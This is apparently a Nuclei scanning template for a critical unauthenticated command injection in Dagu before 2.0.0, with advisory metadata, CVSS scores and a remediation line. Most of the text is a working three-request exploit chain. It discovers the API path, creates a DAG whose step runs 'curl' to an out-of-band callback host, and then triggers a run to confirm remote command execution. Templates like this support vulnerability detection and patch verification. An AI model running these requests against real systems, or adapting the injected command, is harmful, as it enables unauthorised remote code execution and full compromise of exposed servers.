Description
Dagu < 2.0.0 contains a command injection caused by default auth.mode set to none in /api/v2/dag-runs endpoint, letting unauthenticated attackers execute arbitrary OS commands remotely, exploit requires no authentication.
Dagu < 2.0.0 contains a command injection caused by default auth.mode set to none in /api/v2/dag-runs endpoint, letting unauthenticated attackers execute arbitrary OS commands remotely, exploit requires no authentication.
id: CVE-2026-126752
info:
name: Dagu - Command Injection
author: 0x_Akoko
severity: critical
description: |
Dagu < 2.0.0 contains a command injection caused by default auth.mode set to none in /api/v2/dag-runs endpoint, letting unauthenticated attackers execute arbitrary OS commands remotely, exploit requires no authentication.
impact: |
Unauthenticated attackers can execute arbitrary OS commands remotely, potentially leading to full system compromise.
remediation: |
Update to version 2.0.0 or later.
reference:
- https://github.com/advisories/GHSA-6qr9-g2xw-cw92
- https://github.com/dagucloud/dagu/security/advisories/GHSA-6qr9-g2xw-cw92
- https://nvd.nist.gov/vuln/detail/CVE-2026-126752
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-126752
epss-score: 0.00927
epss-percentile: 0.61701
cwe-id: CWE-306
metadata:
verified: true
max-request: 3
vendor: dagu-org
product: dagu
fofa-query: title="Dagu"
tags: cve,cve2026,dagu,rce,unauth,oast,vkev
variables:
dagname: "{{rand_text_alpha(8)}}"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: apibase
part: body
internal: true
group: 1
regex:
- 'apiURL:\s*"(/api/v[0-9]+)"'
matchers:
- type: dsl
dsl:
- 'len(apibase) > 0'
internal: true
- raw:
- |
POST {{apibase}}/dags HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"{{dagname}}","spec":"steps:\n - name: r\n command: curl {{interactsh-url}}"}
matchers:
- type: dsl
dsl:
- 'contains(body, dagname)'
internal: true
- raw:
- |
POST {{apibase}}/dag-runs HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"{{dagname}}","spec":"steps:\n - name: r\n command: curl {{interactsh-url}}"}
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "http") || contains(interactsh_protocol, "dns")'
- 'contains(body, "dagRunId")'
condition: and
# digest: 4a0a00473045022053dd6fb7ea33bf11c54ce279212d8a81af765b142a726fcc27d25bf7b9d39c68022100c144a81a64731e731ddcb3ef430312e54d6a76d9cb3f7c4f7bbfd43e7a39aa66:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.